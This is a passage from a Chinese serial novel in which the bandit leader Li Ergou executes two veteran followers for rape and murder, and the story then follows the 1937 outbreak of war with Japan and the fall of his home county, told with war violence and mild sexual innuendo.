刚刚李二狗只问了陈嘎子一句,就把他枪毙了! “狗哥,饶命,是我们干的!” 李二狗冷笑一声,朝秀才使了个眼色,秀才走出聚义堂外,陈嘎子被押了进来。 张石头呆住了! 刚刚张石头的话,被门外的陈嘎子听的一清二楚。 “嘎子,你还有什么要说的?” 陈嘎子知道事已败露,无法再否认,他梗着脖子,还是一脸不服气。 “是又怎么样?那些地主老财,平时搜刮民脂民膏,抢他们点东西怎么了?弟兄们跟着你,天天守着寨规……” “闭嘴!”李二狗猛地站起来,手掌“啪”地拍在桌上,“集团定的规矩,劫富济贫,不碰百姓,你们倒好,强奸妇女,杀人性命,跟以前的杂碎土匪有什么两样?!” “我们也是为了弟兄们……”陈嘎子还想狡辩,李二狗已经一脚踹在他胸口。 陈嘎子“嗷”地一声倒在地上,疼得龇牙咧嘴。 第599章 执迷不悟 “秀才,你来和他们两个说一说,咱们集团的约法三章是什么?” 秀才朗声道:“第一条,禁止奸淫妇女!” “第二条,禁止欺压百姓!” “第三条,一切行动听指挥!”” 李二狗又问道:“那陈嘎子和张石头这次违反了哪几条?” “三条全部违反!” 李二狗看了一眼地上的陈嘎子和张石头,厉声问道:“违反集团约法三章,该如何处理?” “这^” 秀才犹豫了. 难道李二狗真的要按约法三章处理他们吗?这可条条都是杀头之罪啊。 “快说!” 李二狗陡然增大的声音令秀才吓了一跳。 “你说过,约法三章是咱们的立寨之本,谁都不能违反,谁违反就砍谁的头,绝不姑息!” 张石头听后,脸色惨白,率先撑不住了! 他的膝盖重重地砸在聚义堂地面的青石板上,发出“咚”的一声闷响,像是砸在在场每个人的心上。 他整个人都瘫软在地上,脊背佝偻得像一只刚被开水煮过的沼虾,眼泪混着鼻涕顺着他的脸颊一直往下流,在下巴上汇成一股浑浊的水流,一滴一滴砸在胸前的衣襟上。 “狗哥!狗哥饶命啊!”他的声音抖得厉害,带着哭腔的哀求在聚义堂里回荡,“真不是我要干的!是陈嘎子!全是他撺掇的!他说你最近忙着修建山洞的事,顾不上管其他事事,他还说……说那些地主家的钱不抢白不抢,说……说就算抢了,你也未必能查到咱们头上……” 他一边说,一边往李二狗脚边蹭,想抓住那截裤腿,却被旁边的一个弟兄死死按住。 绝望像潮水似的淹没了他,他开始变得语无伦次起来。 “狗哥,我上有八十岁的老娘,下有没断奶的娃……狗哥你可怜可怜我吧,我再也不敢了……求你看在我当年跟着你出生入死、挨过枪子的份上,饶我这一回吧……” “呸!” 一声厉喝打断了张石头的哀嚎。 陈嘎子被两个弟兄架着,左腿不自然地撇着,裤脚沾着的泥雪已经冻成了硬块。 他狠狠往地上啐了口带血的唾沫,唾沫星子溅在张石头浑浊的脸上,吓得张石头猛地一哆嗦。 “孬种!”陈嘎子的声音粗粝又刺耳,“事是我起的头,女人是我先干的,人是我让杀的,东西也是我让分的,跟他屁关系没有!要杀要剐,冲我来!放他娘的什么屁!” 他使劲挣了挣,眼里的红血丝像蛛网似的蔓延开来。 “李二狗,我陈嘎子跟着你五年,从你还只是一个无足轻重的小人物时就跟你混!你说要立规矩,不抢穷人,我认!你说要劫富济贫,我跟着干!可凭什么那些地主老财能吃香的喝辣的,弟兄们就得啃冻馒头?凭什么咱们拿命换的地盘,他们就能舒舒服服地当他们的老爷?” 他的声音陡然变高,震得梁上的积雪簌簌往下掉。 “我抢他们怎么了?我烧他们粮仓怎么了?那些粮食本就不是他们的!是从老百姓手里刮来的!” 李二狗站在原地,紧闭着嘴唇,他万万没想到,陈嘎子如今已经变成现在这副模样。 强奸妇女、杀人越货,竟丝毫感觉不到愧疚。 聚义堂里静得可怕,只有陈嘎子粗重的喘息和张石头压抑的啜泣,还有风从门缝钻进来的呜咽声。 他看着陈嘎子那张因愤怒而扭曲的脸,想起五年前那个雪夜,大家一起抢占清风寨的情景;想起三年前在攻占其他土匪山寨时,陈嘎子替他挡了一枪,子弹从肩胛骨穿过去,血流了一路,还笑着说“狗哥,我命硬”; 他也看着张石头,那个总是像跟屁虫一样跟在陈嘎子身后,如今为了保命却主动出卖陈嘎子的人。 他的心口像是被什么东西狠狠地攥住,疼得他喘不过气。 可他的目光扫过墙上那“清风寨规”四个大字,字是去年请山下的先生写的,墨迹已经有些发暗,却依旧笔笔遒劲——“不欺老弱,不辱妇女,不掠贫户,不毁民宅”。 这是他立寨的根本,是弟兄们能在这乱世里挺直腰杆的底气。 “把他们拖到前广场。” 李二狗的声音突然响起,平静得像结了冰的河面,听不出一丝波澜。 张石头的哭声瞬间变了调,像杀猪似的嚎叫起来:“狗哥!不要啊!我错了!我真的错了!”陈嘎子却不再说话,只是梗着脖子,狠狠地瞪着李二狗,眼里的倔强像一块烧红的烙铁。 前广场上,早就围满了闻讯赶来的弟兄。 雪不知什么时候停了,天阴沉沉的,仿佛要吞噬这世间的一切。 广场旁边那棵久经风霜的老槐树枝桠光秃秃地伸向天空,枝桠间挂着的红灯笼早就被风雪打烂,只剩下几个破竹架在风里摇晃着。 陈嘎子和张石头被捆在槐树干上,绳子勒得很紧,深深陷进肉里。 陈嘎子的左腿悬空吊着,脚尖离地面还有寸许,他却硬是挺着腰,不肯低下脑袋。 张石头则瘫在那里,脑袋抵着树干,眼泪把胸前的衣襟泡得透湿,嘴里还在不停地念叨着“饶命”。 李二狗慢慢走过去,手里提着那把陪伴了他多年的驳壳枪。 枪身被摩挲得发亮,在阴沉的天光下泛着冷光。 弟兄们纷纷低下头,没人敢看他的眼睛,也没人敢看那两个被捆在树上的人。 “陈嘎子,张石头。”李二狗站在两人面前,声音被寒风吹成了碎片,却字字清晰,“你们跟着我,吃过苦,流过血,这些,我李二狗没忘。清风集团的每一寸土地,都有你们的汗珠子,这些,我也没忘。” 他顿了顿,目光扫过围观的弟兄们:“但咱们是清风集团,不是那些烧杀抢掠的杂碎!咱们立的规矩,是给弟兄们留条后路,是让老百姓能看得起咱们!杀百姓,毁名声,就是砸咱们自己的饭碗,就是把咱们往绝路上逼!” 他举起枪,枪口稳稳地对准陈嘎子的胸口。 第600章 任何人都不能凌驾于集团规矩之上 陈嘎子猛地抬起头,眼里的凶狠突然褪去了,只剩下一些说不清道不明的东西,像是遗憾,像是不甘,又像是释然。 他看着李二狗,嘴唇微微动了动,像是想说什么,最终却只是扯了扯嘴角,露出一个比哭还难看的笑。 “嘎子,你还有什么话要说?” 陈嘎子深吸一口气,努力让自己的声音变得不再颤抖。 他不想让别人看自己的笑话。 “狗哥,我知道,你对我和石头一直有意见,你心里也早就想把我们兄弟二人赶出集团,是不是?” 没想到死到临头,陈嘎子还是丝毫没有认识到自身的问题。 “嘎子,我对待集团所有的兄弟都是一视同仁,我李二狗绝不会无缘无故赶任何一个遵纪守规的兄弟下山!” “是吗?”陈嘎子冷哼一声,“如果今天犯错的是陈老三,是望冬,你也会枪毙他们吗?” “规矩面前人人平等,没有人可以践踏集团的规矩!” 李二狗没有正面回答他,其实他自己也不知道,如果犯错的是陈老三和望冬,他真舍得枪毙他们吗? 李二狗回避的态度已经让陈嘎子知道了答案。 他冷笑道:“我们只不过杀了两个地主恶霸,难道你真的要枪毙我们吗?你忘了,他们以前是怎么欺压咱们穷苦百姓的?” “嘎子,并不是每个地主都是恶霸,他们也是靠自己的辛勤付出才有今天的一切!” “所有的地主都该死!” 李二狗彻底对陈嘎子失望了。 “嘎子,是我没有带好你,到了那边,千万别怪我,我会照顾好你的妻儿老小。” 陈嘎子绝望地笑了笑,嗓子眼里哼出两个字。 “谢了!” “兄弟,一路走好!” “砰!” 枪声在山谷里猛然响起,惊得后山的几只乌鸦从树洞里扑棱棱飞出来,在灰蒙蒙的天空中盘旋了两圈,又落回远处的坟头。 陈嘎子的身子猛地向后一仰,健壮的身体砸的身后的树干“哐当”作响,随即又重重地垂下来。 他的脑袋歪向一边,左眼依然圆睁着,望着广场上方那面杏黄色的大旗。 张石头亲眼看着陈嘎子在自己身旁倒下去,瞳孔骤然收缩,喉咙里发出一阵“嗬嗬”的声响,像是被人猛然掐住了脖子。 他想喊,却发不出声音,只能拼命地扭动着身子。 他越挣扎,绳子反而勒得更深了,把身上棉袄的袖子都磨破了,露出里面洁白的棉絮。 “我……我……饶……饶命……” 李二狗没有心软,他调转枪口,对准了张石头。 “石头,你还有什么要说的?” 张石头的眼泪突然止住了,他看着黑洞洞的枪口,眼神涣散,嘴唇翕动着,像是在说“我不想死”。 “狗……哥,我……错了……” “石头,我会替你照顾好你的妻儿老小,一路走好!” “砰!” 第二声枪响比第一声更加沉闷一些。 张石头的身子晃了晃,顺着树干滑了下去,最后瘫在雪地里,像一堆没了骨头的烂肉。 鲜血从两个伤口里涌出来,很快就在雪地上积成两滩血渍,红得刺眼,像是两朵在寒冬里骤然绽放的罂粟花,妖艳又惨烈。 李二狗放下枪,枪身的温度烫得他手指发麻。 他转过身,背对着那两具尸体,喉结不自觉地滚动了几下,他只觉得胸口处积压着一团滚烫的东西。 “秀才,打两副上好的棺材,再找一块好地,把他们埋了吧。” 广场上的弟兄们都低着头,他们都知道,陈嘎子和张石头是集团元老,在集团是有身份有地位之人,更是李二狗的兄弟。 可现在却被李二狗亲手枪毙了! 这个一直蒙面示人的集团董事长到底是一个什么样的人? 广场上静极了,大家连喘气声都刻意压制着,只有狂风卷着雪粒子,打在每个人的脸上,生疼! “告诉所有的弟兄们,”李二狗的声音震得在场的每个人耳朵嗡嗡作响,“谁以后要是再敢坏了集团的规矩,不管是谁,不管以前立过什么功,陈嘎子和张石头,就是他的下场!” 说完,他提着枪,一步步往聚义堂走去。 雪又开始下了,小朵小朵的雪花落在他的帽檐上、肩膀上,很快积了薄薄一层,像给这满身风霜的人,覆上了一层苍白的铠甲。 李二狗之所以要亲自枪毙陈嘎子和张石头二人,就是想让集团所有的人都明白一个道理,在清风集团,任何人都不能凌驾于集团规矩之上。 只要你违反了集团的规矩,哪怕是李二狗的兄弟,李二狗也绝对不会心慈手软 走进聚义堂,李二狗把自己摔在虎皮椅上,虎皮的毛蹭着他的脸颊,带着一股陈年的腥气。他摸出烟卷,颤抖着去摸火折子,可试了好几次,火折子刚凑近烟头,就被手抖得歪到一边,火星子落在裤腿上,烫出个小洞,他也没察觉。 墙上的油灯忽明忽暗,映着他那张疲惫的脸。 突然,一口鲜血从口中喷薄而出,大颗大颗的眼泪夺眶而出,他嘴里喃喃自语道:“我的兄弟啊……” 他想起陈嘎子说“清风寨就是我的家”时,眼里分明泛着明亮的光; 想起张石头那憨厚的笑容,心口就像堵着一块烧的通红通红的烙铁,疼得他喘不过气。 可他知道,他没有做错。 无规矩不成方圆。 清风集团能在这乱世里站稳脚跟,靠的从来不是刀枪有多硬,弟兄有多狠,而是规矩,是江东百姓的人心。 老百姓信他们,弟兄们服他们,才让这巴掌大的山头,成了乱世里的一块安生地。 他李二狗可以流血,甚至可以死,却不能让这清风集团,变成自己最恨的那种土匪窝。 雪越下越大,后山的新坟很快被白雪覆盖,那两滩刺目的红,也渐渐被埋进了雪里,像是从未存在过。 可李二狗知道,有些东西,雪盖不住,风刮不掉,会像一根刺似的,永远扎在他心里,扎在清风集团的骨头上。 第601章 抗日战争开始了 1937年7月的暑气像一团湿棉絮,闷得人喘不过气来。 李二狗此刻正靠在门前的一把藤编躺椅上,手里摇着一把芭蕉扇,眼皮子半眯着,听着院子里的蝉鸣有一搭没一搭地聒噪着。 他最近总有一种说不清道不明的感觉,这种感觉令他内心有些烦躁,也有些慵懒。 突然,身后传来一阵急促的脚步声撞碎了这份慵懒。 静雯撩着旗袍下摆冲到院子里,发髻上的珍珠钗子随着她的跑动晃动着,脸上的胭脂被汗水洇开,平日里的那份从容淡定半点也不见了。 “二狗,出大事了!” 她的声音发颤,仿佛天要塌下来一般。 李二狗缓缓睁开眼睛,目光从她微微起伏的胸前扫过。 静雯今天穿了一件墨绿色丝质旗袍,领口开得恰到好处,里面露出的锁骨陷成一个浅浅的小窝。 李二狗平时总爱打趣说那里是“藏着蜜的坑”。 可此刻,他的那点心思早被静雯脸上的慌张冲散了。 “看你慌的,天塌下来了?有什么事慢慢说。” 他放下蒲扇,指尖在躺椅扶手上轻轻敲打着,节奏沉稳得不像是听到急事的样子。 静雯哪里还顾得上他那点不怀好意的眼神,她往前凑了两步,几乎要贴到他的脸上。 “日本鬼子!日本鬼子在宛平城跟咱们的军队打起来了!刚才电台里播的,说是凌晨就交火了,枪声响了一夜!” 李二狗的指尖停了停,随即又恢复了节奏。 他望着窗台上那盆快蔫了的茉莉花,像是在看一个再熟悉不过的东西。 “我当是什么新鲜事!用得着这么慌吗?” “这还不新鲜?”静雯急得直跺脚,旗袍开叉处露出的小腿都在发颤,“那可是打仗啊!日本人真要打进来了!” “早晚会有这么一天的。”李二狗慢悠悠地说道,声音里听不出惊惶,“从九一八那年起,他们占了东三省,占了热河,狼子野心昭然若揭,真当咱们是瞎子?我早说过,这仗躲不过去,无非是早打晚打的问题。” 静雯愣了愣,想起前两年李二狗突然要卖掉吴氏名下大部分产业时,她还劝过他“生意正好,急着脱手太可惜”。 当时他只说“留着烫手”,现在才明白,他早把这步棋看在了前头。 心口的慌劲渐渐压下去一些,她扶着桌沿喘了口气。 “二狗,还是你有远见。幸亏听了你的,把那些明面上的产业都出清了,不然现在兵荒马乱的,想卖都找不到买家。” 李二狗没接这话,眉头微微蹙起。 他起身走到八仙桌旁,铺开一张泛黄的地图,手指落在华北这片区域。 “咱们是卖了大部分产业,可这几家制药厂……” 静雯的心又提了起来。 “制药厂怎么了?咱们的一夜八次丸在日本、欧美都俏得很,上个月还接了美国的订单……” “近期的订单怕是要黄了。”李二狗的指尖重重敲在“宛平”两个字上,“一旦全面开战,原料进不来,成品运不出,工厂就是个空壳子。更别说,日本人要是占了省城,这些药只会变成他们的军资。” 静雯的脸色瞬间白了,嘴唇微微翕动着。 “那……那怎么办?仓库里还有不少原材料,都是前几天刚从订的,花了不少钱……” “能产多少是多少吧。”李二狗抬眼,目光锐利,“你现在就去安排,车间三班倒,人歇机器不歇,把所有原材料都变成成品。记住,不要再进任何原料,现款都换成美元和黄金,存在咱们以前存钱的那几家外国银行里。” 静雯的身体有些发抖,她虽在商场上见过风浪,可真要面对战火,那点镇定早被冲得七零八落。 “静雯,多久能全部产完?” “至少还得两个星期。” 她粗略算了算,原料库里的淫羊藿、菟丝子还有不少,要提纯、要配比,最快也得这个时间。 李二狗盯着地图上的地形图,指尖在上面画了个圈。 “两个星期,够了。” 李二狗心里清楚,日军虽然装备精良,推进速度绝不会慢,但从宛平到省城,中间隔着保定、石家庄几道防线,就算29军顶不住,国民党中央军总会布防,两个星期,足够他们把机器和药品转移走了。 江东是他的地盘,到处山高林密,他又花费将近两年的时间在山里建成了山洞要塞。 日本人是不会花费精力去攻占对他们毫无用处深山老林的。 即使日本人想打,也没那么容易打进去。 静雯看着李二狗笃定的样子,心里稍稍安定,可转念又想起电台里说的“大刀队”,忍不住问道:“你刚才说守宛平的是29军?我听人说他们有大刀队,夜袭鬼子营,砍了不少人头,日本人会不会……会不会打不进来?” 李二狗的目光从地图上移开,落在她带着希冀的脸上。 这真是一个单纯的女人。 “29军是好样的,敢打敢拼,可打仗不是光靠勇气。日本人有飞机大炮,有坦克装甲车,29军手里最多的是步枪和大刀,装备差的不是一星半点。” 他顿了顿,声音里带着一丝无奈。 “宛平太小,守不住的。依我看,不出一个月,北平、天津都得丢,整个华北……怕是这两个月就要变天。” “变天……”静雯喃喃重复着这两个字,脸色惨白。 自从她接手省城的吴氏企业之后,就成为了省城有名的实业家,她在生意场上呼风唤雨,可真到了国破家亡的关头,那些头衔、那些财富,突然变得像纸糊的一样。 日本人打进来,普通百姓可以选择当个顺民,苟且地活着。 可像她这样有身份有地位的人,日本人是不会让她仅当个顺民的。 她不是没想过退路,可往哪退? 上海?南京? 谁知道战火会不会烧到那里? 留下来?像那些士绅一样去巴结日本人当汉奸?她做不到! 一时间,屋里静得可怕,只有窗外的蝉鸣还在不知死活地叫着,叫得人心烦意乱。 第602章 “誓与省城共存亡” 李二狗看着静雯失魂落魄的样子,轻声安慰道:“静雯,不要慌。这两天你盯着点电台,看看战事发展如何。一旦北平、天津守不住,你就去上海,租界里暂时还安全,我已经让人在法租界备好了房子。” “那咱们这些制药厂怎么办?” 这几家制药厂就像是现金奶牛,每天都有大把大把的进项,静雯放不下它们。 “这个你别管了,我已经有安排了。” 一切事情,李二狗都考虑在了她前头,这个男人在她心目中就是神一般的存在。 她没有再说话,慢慢走到他身边,把头轻轻地伏在他胸口上,旗袍的料子贴着他的粗布短褂,感觉很温暖。 她的声音很轻,甚至带着一点哽咽。 “二狗,如果没有你,我真不知道该怎么办了。” 李二狗能感觉到她身体的轻颤,就像狂风中的一片树叶。 他抬起手,轻轻拍了拍她的后背,目光却又落回那张地图上,眼神里深邃得像藏着一片大海。 他知道,这只是开始,接下来的路,会比他预想的更难走。 但他不能慌,他身后不仅有静雯这样需要依靠他的人,还有江东那片土地上等着他庇护的弟兄和百姓。 窗外的日头渐渐西斜,把两人的影子拉得很长,映在墙上,像一幅沉默的画。 远处隐约传来报童的叫卖声,“号外!号外!宛平战事吃紧!”的声音被风吹得断断续续,像一根大洋针,刺破了这短暂的平静。 战事和李二狗预料的一样,日本人很快便占领了北平、天津,长驱直下,整个华北危在旦夕。 吴氏几家制药厂全部都停了产。 李二狗挑选了一批运转良好的机器,全部偷偷运进了清风集团建造的山洞里。 “二狗,你不和我一起去上海吗?” 临行前夜,静雯躺在李二狗怀里,她舍不得这个男人。 “静雯,你先去,等我处理完这边的事情就去上海找你。” 静雯的泪水顺着李二狗的胸膛一直往下流。 “日本人马上就要打进省城了,你还留在这里做什么?和我一起走吧。” 李二狗之所以选择留下来,是因为还有一件事情要处理。 前几日,他已安排人把春花母子送到了上海租界区,如今只剩下这几家制药厂。 李二狗想着趁日本人攻进省城之前把这几家制药厂出手。 只要价格足够低,肯定会有人接手。 日本人打着“大东亚共荣”的旗号侵华,他们不会把中国人赶尽杀绝的,至少会保证社会正常的运转,而制药厂是生活中不可或缺的关键环节。 “等我把制药厂卖了就去找你。” “卖制药厂?二狗,咱们的钱够花了,何必再留下来冒险呢?我建议还是都干脆扔了吧!” 这都是李二狗的心血,他怎么舍得就这样轻易丢弃。 “放心吧,我心里有数,日本人打进来之前我一定会离开省城。” 静雯了解李二狗,知道他的狗脾气,他一旦决定的事情,没有人可以轻易改变。 “二狗,那你一定小心点,我在上海等你。” “放心吧,去上海等着我。” 两个人再次紧紧地抱在一起。 临别的前夜,两人总有诉不完的衷肠,做不完的爱。 第二天,静雯离开省城之后,李二狗来到省政府。 省政府的人比普通百姓更了解当下的时局,汤司令话喊得震天响,誓与省城共存亡,但谁都知道,汤司令以擅长逃跑著称,一旦日本人兵临城下,他会跑的比谁都快。 李二狗经常出入省政府,门口站岗的警察知道他与省政府主席夏瀚林的关系,看到李二狗,立即向他打了个敬礼,根本没有阻拦。 来到夏瀚林办公室,他正在接听电话。 看到李二狗,他先是微微一怔,然后用手指了指电话,又指了指旁边的沙发,示意李二狗先坐下等他一会儿。 李二狗坐在沙发上,听到夏瀚林正在和汤司令打电话。 他竖起耳朵听了一会儿,还没听出个所以然,夏瀚林便挂断了电话。 “二狗,你怎么还在省城?” 李二狗变卖吴氏名下产业,在省城已是人尽皆知的事情,夏瀚林早就猜到他要离开省城。 “我这几天就走,今天特来向夏主席告别。” 夏瀚林一脸凝重地说道:“能走就尽快走吧,及早不及晚啊。” 李二狗犹豫了一下,还是问道:“夏主席,咱们真就挡不住日本人吗?” 夏瀚林的眉毛不经意间跳动了两下,他叹息道:“二狗,你不是外人,我也不想瞒你,这次绝对挡不住日本人。” 李二狗没想到夏瀚林说的如此直接。 见李二狗沉默,夏瀚林接着说道:“北平、天津都守不住,更何况咱们一个小小的省城?我看用不了两个月,整个华北都会落到日本人手里。” “可汤司令不是说,誓与省城共存亡吗?” “狗屁汤司令!他就是汤跑跑!” 李二狗吃了一惊,急忙问道:“汤司令他要跑?” “刚才给我打电话,说是奉南京方面的命令,要把所有的部队都撤到黄河以南构筑工事。” 李二狗想到汤司令部队的无能,却没想到如此无能。 不放一枪一弹,就把这么大的城池拱手相送,这不是无能,简直是卖国贼! “夏主席,这么大的省城,就拱手相让吗?为什么不抵抗?却要到黄河以南去构筑工事?” “上级认为,省城无险可守,即使部署再多的部队也是徒劳,说这是为了保存有生力量,要借助黄河天险与日本人决战!” 李二狗听了,直骂娘希匹! 什么狗屁黄河天险!日本人为什么一定要从这里过黄河?整个东南沿海全在日军军舰的掌控之下,他们想在什么地方登陆就在什么登陆,根本不会强渡黄河。 自己都懂的道理,为何南京政府这帮废物不懂?真是一群蠢材! “夏主席,那您怎么办?” “我已接到上级命令,三天之内,要把所有机关和人员撤出省城,然后……” 夏瀚林欲言又止,一副痛心疾首的样子。 第603章 焦土抗战 “夏主席,然后什么?” 夏瀚林没有立即回答李二狗,而是下意识地向门外瞅了瞅。 他还不放心,又起身走到门前,把房门关闭后,才来到李二狗身旁,低声说道:“二狗,这些年咱爷俩处得不错,其实我和吴爷一样,一直拿你当儿子看待……” 李二狗这些年确实像对待亲爹一样孝敬夏瀚林,金银珠宝、人参鹿茸没少往家里送。 “夏主席,我对您和对吴爷都是一样的,有什么话您尽管说。” 夏瀚林紧抿着嘴唇,若有所思地点了点头,一副苦大仇深的模样。 他先是叹了一口气,低声说道:“二狗,实不相瞒,南京方面已经决定,绝不能把一个完整的省城留给日本人!” 明明已经决定放弃抵抗,可现在又说不能把完整的省城留给日本人,李二狗突然有一种不祥的预感。 他们难道?李二狗不敢再往下想! 他用不可置信的目光盯着夏瀚林,声音有些发颤。 “夏主席,您的意思是说?” 夏瀚林默默地点了点头,一时间老泪纵横。 “南京方面已经制定了焦土抗战的政策,三天之后,我们会放火焚城!不给日本人留下一砖一瓦!” 李二狗虽然已经做好了充足的心理准备,但这话从夏瀚林口中亲自说出来,他还是吓得瘫坐在沙发上。 省城有几十万人口,一旦焚城,几十万人将会流离失所,数不清的老弱病残将会在流离失所之中丢掉性命,李二狗仿佛看到一个人间地狱。 “夏主席,千万不能这样做啊!这可是几十万条生命呐!到时候,会有无数的人死在这场人为制造的灾难里。” 夏瀚林猛地一拍桌子,他又何尝愿意承担这个历史骂名。 “二狗啊,人在官场,身不由己啊,这是南京方面下达的命令,我又能有什么办法?” 李二狗眼珠子憋得通红,恨不得要吃人的感觉。 “那这满城的百姓怎么办?” “两天后,省政府会发出一份告全体市民书,命令大家必须在一天之内全部离开省城,否则,后果自负!” 李二狗终于还是流下了痛苦的泪水。 这是一个怎样的政府啊?简直视百姓的生命如草芥! 这样的一个政府又怎能带领中国人民战胜日本帝国主义? 即使战胜了日本鬼子,普通民众又得付出怎样惨痛的代价? 李二狗对这个政府彻底绝望了! “二狗,现在消息还处于绝密阶段,你可千万不要出去乱说,否则你我都承担不起这个后果!” 夏瀚林能把这个秘密告诉李二狗,证明他还是一个有良心的人,这些年,李二狗的付出没有白费。 “夏主席,我知道,谢谢你。” 夏瀚林知道李二狗分得清轻重,不然他也不会把这件事告诉他。 “你还是回去收拾收拾,赶紧离开省城吧!” 李二狗知道三天后即将焚城,如果此时再把制药厂出售给他人,即便价格再低,也是坑人! 李二狗做不出这等生儿子没屁眼的事情。 他当天便离开省城,回到了胡家大院。 “我去上海做什么?我才不去上海!” 于兰芝一听说李二狗要让她带着梦瑶去上海,立刻表达了强烈的反对意见。 “兰芝,日本鬼子就要打过来了,他们简直就是一群畜生,见女人就往上扑,你留在这里实在是太危险了。” 听到日本鬼子见女人就扑,于兰芝心中才有了一丝害怕。 “二狗,那你和我们娘俩一起去吗?” “家里还有这么一大摊子事,总不能扔下不管吧?我得留下来一段时间。” “二狗,你不去我也不想去。像咱们这种穷乡僻壤的地方,日本人应该不会来吧?我听人说,日本人只喜欢攻打大城市。” “大城市攻下来,咱们这种小地方不就都是日本人的地盘了吗?他们一个月下来一次咱也受不了啊!” 李二狗顺势把于兰芝揽入怀中,继续劝道:“我不能让你和梦瑶受到一丁点的伤害,我在上海租界区买了一栋别墅,你和梦瑶住过去我也能安心,你放心,我会常去看你们的。” 因为有梦瑶,于兰芝知道,任何时候,李二狗都不会抛弃她。 “好吧,那我听你的。” “真乖,”李二狗亲吻了一下于兰芝的额头,“还有一件事,我想和你商量商量。” 于兰芝立刻猜到李二狗要说什么。 “你是要和我说那个疯婆子的事情吗?二狗,我不同意她和我们一起去上海!你知道的,我和她尿不到一个壶里!” 李二狗早就预料到会是这种情况。 “兰芝,我要和你说的的确是张玲玉的事,但不是你想的这个事。” “那你要说的是什么事?”于兰芝被李二狗绕糊涂了。 “张玲玉也去上海,但不和你们住在一起。” “你也给她买了房子?”于兰芝用一副难以置信的眼光看向李二狗,“你和她到底是什么关系?” 面对于兰芝这个问了一万遍的问题,李二狗早就练就了面不红心不跳的本事。 “兰芝,你想到哪里去了?她如今这个样子,你作为胡家大院的主事人,难道就对她不闻不问吗?别人会怎么看你?梦瑶又会怎么看你?” 于兰芝嘟着樱桃小口,不满地抱怨道:“她一个疯子,留在胡家大院又能怎样?日本人难道连个疯女人都不放过吗?” 不知道于兰芝和张玲玉到底有什么样的深仇大恨,只要一涉及张玲玉的事情,于兰芝就无法做到心平气和。 这个世界上也就只有李二狗有办法对付她。 “好吧,那就让她留下吧,反正我一时半会儿也去不了上海,正好有个照应。” 于兰芝一听马上急了,胸脯子一抖一抖的,就像要跳出来一般。 “那还是让她去吧,我听说日本人都是畜生,张玲玉虽然疯疯癫癫的,但人长的还不丑,日本人肯定不会放过她的。” 李二狗心里一阵暗笑。 这个于兰芝,一惯的小肚鸡肠! 第604章 江东沦陷 李二狗憋住笑,故意问道:“你这变来变去的,到底是同意还是不同意?” “我同意!让她去上海。” “那你抓紧收拾收拾,明天上午就出发。” “这么着急?” 夏瀚林已经告诉李二狗三天后焚城,想来日本人马上就要打过来了。 “宜早不宜迟!你们早去了我也安心。” “可家里这么东西,一时半会儿也收拾不完啊。” “除了一些贴身的衣物,其他一概不带。” “啊?” “那边房子里什么都有,你就放心吧。” “好吧,我听你的。”于兰芝伏在李二狗怀里,“今晚让我好好伺候伺候你,嘻嘻。” 第二天,李二狗亲自把于兰芝母女、张玲玉和亲爹李富贵和后娘一起送到上海,把他们安排在租界区不同的房子里。 没想到他刚离开上海不久,史无前例的淞沪会战就开始了。 李二狗和他们彻底失去了联系。 省城方面也有消息传来,夏瀚林并没有放火焚城,他选择投降日本人做了汉奸! 李二狗乍听到这个消息,震惊的半天没缓过神来。 夏瀚林怎么能做汉奸呢?这实在是令人匪夷所思。 但因为夏瀚林做了汉奸,客观上使得省城几十万百姓免受流离失所之苦。 短短两个月的时间,整个华北地区全部沦陷。 一个小队的日本鬼子还不到一百个人,只放了几炮,开了几枪,就轻易占领了江东县城。 孙竹刚没想到县保安团和警察局如此不中用,他没来得及逃走,当场被俘。 “狗哥,不好了,孙县长被日本人抓住了。” 张二驴听到这个消息,第一时间告诉了李二狗。 “我要去趟县城。” 李二狗站起来就往外走,张二驴赶忙跟了出去。 “狗哥,你不能去,现在日本人正在县城里烧杀抢掠,你一个人去太危险了。” 李二狗一直是一个明知山有虎,偏向虎山行的人,他最不怕的就是危险。 “我现在到县城,差不多天就黑了,你放心吧,我不会有事的。” 张二驴知道劝不住,便说道:“狗哥,我和你一起去,多个人也多个照应。” 在李二狗的意识里,从来都是他照应别人,哪有别人照应自己的道理。 此时,别人对他来说,只是累赘。 “二驴,你留下来看家,今天晚上务必把院里剩下的那些粮食找一个隐蔽的地方藏好。” 张二驴只好点点头,目送着李二狗离开。 李二狗骑着一匹青骢骏马,赶到县城时,血红血红的夕阳正好照在城墙上。 他躲在城外的一个土坡上,看到城头上插着一面日本人的膏药旗,旗下架着两挺机关枪。 李二狗悄悄绕到城东,通过城墙下的一个狗洞进入了县城。 硝烟裹着一股浓郁的焦糊味飘荡在江东县城上空,连夕阳都被染成了血红色,照在断墙上,红的渗人。 街口的几棵老槐树被炮弹拦腰炸断,烧焦的枝桠上还挂着一件未燃尽的旗袍,风一吹,像一面招魂旗来回晃悠。 一条青石板路上淌着暗红色的血水,混着地上的泥土凝成糊状,踩上去“咕叽咕叽”作响。 有家铺子的门板倒在地上,里面的柜台被劈成一条一条的木条,洋布、瓷器碎了一地,一只没烧尽的布鞋卡在瓦砾堆里,鞋帮上还绣着一朵红色的梅花。 墙根下缩着一个抱孩子的妇人,李二狗走上前,发现孩子早已没了声息,小脸上糊着血污。 妇人仿佛没有看见李二狗一般,她一直轻轻拍着孩子,嘴里哼着不成调的儿歌。 一阵阴风卷着哭喊声从巷子里钻出来,有孩子的哭喊声,有女人的尖叫声,很快又被一阵机枪声盖了过去。 井台上堆着几具尸体,有穿长衫的先生,有扎小辫的姑娘,井水被染得发黑,上面漂着一个破了的水桶。 远处的孙氏祠堂被烧得只剩一个框架,梁上的匾额“世代荣昌”被烧得只剩“昌”字的下半截,在火里噼啪作响,像是日本人在冷笑。 几只野狗夹着尾巴,在尸体旁嗅来嗅去,被偶尔响起的冷枪惊得夹着尾巴逃窜。 此时天色已经完全黯淡下来,只有没烧完的房子还在噼啪燃烧着,火光里,断壁残垣的影子歪歪扭扭,像无数只伸向天空的手,却什么也抓不住。 李二狗猫着腰,贴着焦黑的墙根往前挪,鞋底碾过地上的碎瓦片,发出细碎的声响,在这死寂的夜里却格外刺耳。 刚转过街角,就撞见三个日本鬼子正把一个穿蓝布衫的妇人往巷子里拖,妇人的哭喊一声比一声凄厉,很快便被刺刀捅进皮肉的闷响截断了。 “日本畜生!” 李二狗攥紧了腰间的驳壳枪,他把嘴唇咬出了血,却只能死死咬住牙。 他不能暴露,他还要去找严婆惜。 躲过巡逻的鬼子,孙竹刚家的院门终于出现在眼前。 